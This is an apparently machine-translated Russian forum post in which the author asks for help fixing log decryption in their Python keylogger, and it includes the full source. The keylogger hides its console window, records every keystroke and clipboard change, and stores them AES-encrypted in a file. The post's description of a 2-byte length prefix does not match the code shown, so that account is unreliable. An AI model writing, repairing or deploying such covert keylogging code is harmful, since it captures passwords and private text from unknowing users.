Я разрабатываю на основе Python KeyLogger. Скрипт работает без ошибок, но не показывает захваченные клавишные на Windows 11. Я ожидал, что он зарегистрирует клавишные в файле, но на этапе дешифрования я вижу эти ошибки-
ошибка расшифровки: проверка Mac
[ Ошибка] Несомненно, длину входа! Ожидается 23824, получил 2307.
[ошибка] нереалистичная длина входа 47642, возможная коррупция.
Я использовал шифрование AES для шифрования журналов, но, похоже, возникает ошибка при расшифровании. < /P> Это код, который я реализовал-< /p>
import os
import sys
import datetime
import pyperclip
import time
import threading
import Crypto
from pynput import keyboard
from datetime import datetime
from Crypto.Cipher import AES
secret_key = b"--key--"
if len(secret_key) not in [16, 24, 32]:
raise ValueError("Invalid AES key length.")
if sys.platform == "win32":
import ctypes
ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 0)
log_file = "path\keylogs.bin"
error_log_file = "path\error_logs.txt"
log_buffer = []
current_sentence = ""
def encrypt_log(data):
cipher = AES.new(secret_key, AES.MODE_EAX)
nonce = cipher.nonce
ciphertext, tag = cipher.encrypt_and_digest(data.encode())
return nonce + ciphertext + tag # Concatenating all parts
def decrypt_log(encrypted_data):
try:
nonce = encrypted_data[:16]
ciphertext = encrypted_data[16:-16]
tag = encrypted_data[-16:]
cipher = AES.new(secret_key, AES.MODE_EAX, nonce=nonce)
return cipher.decrypt_and_verify(ciphertext, tag).decode("utf-8")
except Exception as e:
return f"Decryption Error: {e}"
def log_error(message):
with open(error_log_file, "a") as f:
f.write(f"{datetime.now()} - {message}\n")
def on_press(key):
global log_buffer, current_sentence
try:
if hasattr(key, "char") and key.char:
text = key.char
else:
text = special_key_formatter(key)
if text == "[ENTER]":
timestamp =datetime.now().strftime("%Y-%m-%d %H:%M:%S")
encrypted_text = encrypt_log(f"{timestamp}: {current_sentence.strip()}")
log_buffer.append(encrypted_text)
current_sentence = ""
else:
current_sentence += text
if len(log_buffer) >= 10: # Adjust buffer size if needed
write_log()
except Exception as e:
print(f"Error: {e}")
def special_key_formatter(key):
special_keys = {
keyboard.Key.space: " ", # Space as an actual space
keyboard.Key.enter: "[ENTER]",
keyboard.Key.backspace: "[BACKSPACE]",
keyboard.Key.tab: "[TAB]",
keyboard.Key.shift: "",
keyboard.Key.shift_r: "",
keyboard.Key.ctrl: "[CTRL]",
keyboard.Key.ctrl_r: "[CTRL]",
keyboard.Key.alt: "[ALT]",
keyboard.Key.alt_r: "[ALT]",
keyboard.Key.esc: "[ESC]",
keyboard.Key.delete: "[DEL]",
keyboard.Key.up: "[UP]",
keyboard.Key.down: "[DOWN]",
keyboard.Key.left: "[LEFT]",
keyboard.Key.right: "[RIGHT]",
keyboard.Key.caps_lock: "[CAPS]",
}
return special_keys.get(key, f"[{key}]")
def write_log():
global log_buffer
if log_buffer:
with open(log_file, "ab") as f:
for entry in log_buffer:
f.write(entry + b"\n")
log_buffer = []
def log_clipboard():
global log_buffer
recent_text = ""
while True:
try:
clipboard_data = pyperclip.paste()
if clipboard_data and clipboard_data != recent_text:
timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
encrypted_clipboard = encrypt_log(f"{timestamp} [Clipboard]: {clipboard_data}")
log_buffer.append(encrypted_clipboard)
write_log()
recent_text = clipboard_data
time.sleep(5)
except Exception as e:
print(f"Clipboard logging error: {e}")
clipboard_thread = threading.Thread(target=log_clipboard, daemon =True)
clipboard_thread.start()
with keyboard.Listener(on_press=on_press) as listener:
listener.join()
< /code>
код для дешифрования журнала-< /p>
import Crypto
from Crypto.Cipher import AES
secret_key = b"--key--"
log_file = "path\keylogs.bin"
def decrypt_log(encrypted_data):
try:
nonce = encrypted_data[:16] # Extract nonce
ciphertext = encrypted_data[16:-16] # Extract ciphertext
tag = encrypted_data[-16:] # Extract tag
cipher = AES.new(secret_key, AES.MODE_EAX, nonce=nonce)
decrypted_text = cipher.decrypt_and_verify(ciphertext, tag).decode("utf-8")
return decrypted_text
except Exception as e:
return f"Decryption Error: {e}"
with open(log_file, "rb") as f:
for line in f:
try:
decrypted_text = decrypt_log(line.strip()) # Strip only for binary safety
print("Decrypted Output:", decrypted_text)
except Exception as e:
print(f"Decryption Error: {e}")
< /code>
Я имею проверенную структуру шифрования и дешифрования
Каждая запись сохраняется как [2-байтовая длина] + [nonce (16)] + [ciphertext] + [Tag (16) ]
Я также подтвердил согласованность ключа AES в обоих сценариях и проверил на наличие частичных записей и коррупционных записей, обеспечиваемого Flush () используется после записи для предотвращения потери данных, добавлены проверки здравомыслия, чтобы пропустить записи с нереальными длины, напечатанные необработанные данные Для осмотра < /p>
Вывод вывода (неожиданно обнаружен большой размер):
pgsql
copy
edit
необработанные зашифрованные данные: b '\ xa7 \ x17 \ x0e & je- \ x94 \ xd5 \ x14-c \ xfe` \ xd9 \ x12 \ x88 \ xe1 \ xbb /\ xf4 \ xea0 \ x93 \ xac \ x9fv ... '
указывает на потенциальную поврежден .
Добавлено журналирование отладки для проблем с длиной входа < /p>
Пример сообщения об ошибке:
csharp
copy
edit
[error] несоответствует Длина входа! Ожидается 23824, получил 2307.
предлагает неверное толкование поля с 2 байтовой длиной.
Регенерированный файл журнала с нуля < /p>
Удаление Keylogs.bin и начало свеже не устранял ошибки.
Подробнее здесь: https://stackoverflow.com/questions/794 ... s-with-dec
Python KeyLogger не регистрирует клавиши в Windows 11, потенциальные проблемы с дешифрованием журналов ⇐ Python
-
- Похожие темы
- Ответы
- Просмотры
- Последнее сообщение
-
-
Python Keylogger не работает, если вы запускаете его из планировщика задач Windows
Anonymous » » в форуме Python - 0 Ответы
- 14 Просмотры
-
Последнее сообщение Anonymous
-
-
-
Проблема с шифрованием/дешифрованием GPG не удалась из-за недопустимого заголовка [закрыто]
Anonymous » » в форуме JAVA - 0 Ответы
- 21 Просмотры
-
Последнее сообщение Anonymous
-